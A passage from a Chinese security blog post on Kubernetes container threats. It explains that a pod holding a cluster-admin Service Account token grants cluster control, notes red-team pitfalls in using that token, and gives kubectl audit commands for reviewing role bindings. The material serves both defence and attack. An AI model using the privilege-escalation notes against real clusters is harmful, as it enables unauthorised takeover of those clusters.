因此获取一个拥有绑定了 ClusterRole/cluster-admin Service Account 的 POD,其实就等于拥有了集群管理员的权限。

实际攻防演练利用过程中,有几个坑点:

  1. 老版本的 kubectl 不会自动寻找和使用 Service Account 需要用 kubectl config set-cluster cfc 进行绑定或下载一个新版本的 kubectl 二进制程序;

  2. 如果当前用户的目录下配置了 kubeconfig 即使是错误的,也会使用 kubeconfig 的配置去访问不会默认使用 Service Account ;

  3. 历史上我们遇到很多集群会删除 Kubernetes Default Service,所以需要使用容器内的资产探测手法进行信息收集获取 apiserver 的地址。

排查Service Account权限:执行命令 

kubectl get sa --all-namespaces

检查项:

  • default 应该没有任何权限

  • kube-system 大部分由系统生成,数量较多,可忽略检查

  • 其他命名空间SA需检查

检查方法:

  1. 检查所有的RoleBinding,ClusterRoleBinding:kubectl get clusterrolebindingkubectl get rolebinding -A

     提示:当拿到Service Account Token后,base64解码看到用户名进行指定排查即可。

  1. 逐一排查RoleBinding,ClusterRoleBinding,检查是否有存在风险的Service Account

  2. 查看对应的角色拥有的权限:kubectl get clusterrole xxx -o yaml

参考

https://www.cdxy.me/?p=839

https://forum.butian.net/share/2376

(沙龙预告:海报还没做出来,但下周一定会有场沙龙哟)

    END
    第七节:云上容器安全威胁(四)防御逃避与窃取凭证
    关注东方隐侠
    让安全界刮起侠客风

    第七节:云上容器安全威胁(四)防御逃避与窃取凭证

原文始发于微信公众号(东方隐侠安全团队):第七节:云上容器安全威胁(四)防御逃避与窃取凭证

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月28日23:43:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第七节:云上容器安全威胁(四)防御逃避与窃取凭证http://cn-sec.com/archives/2439234.html

发表评论

匿名网友 填写信息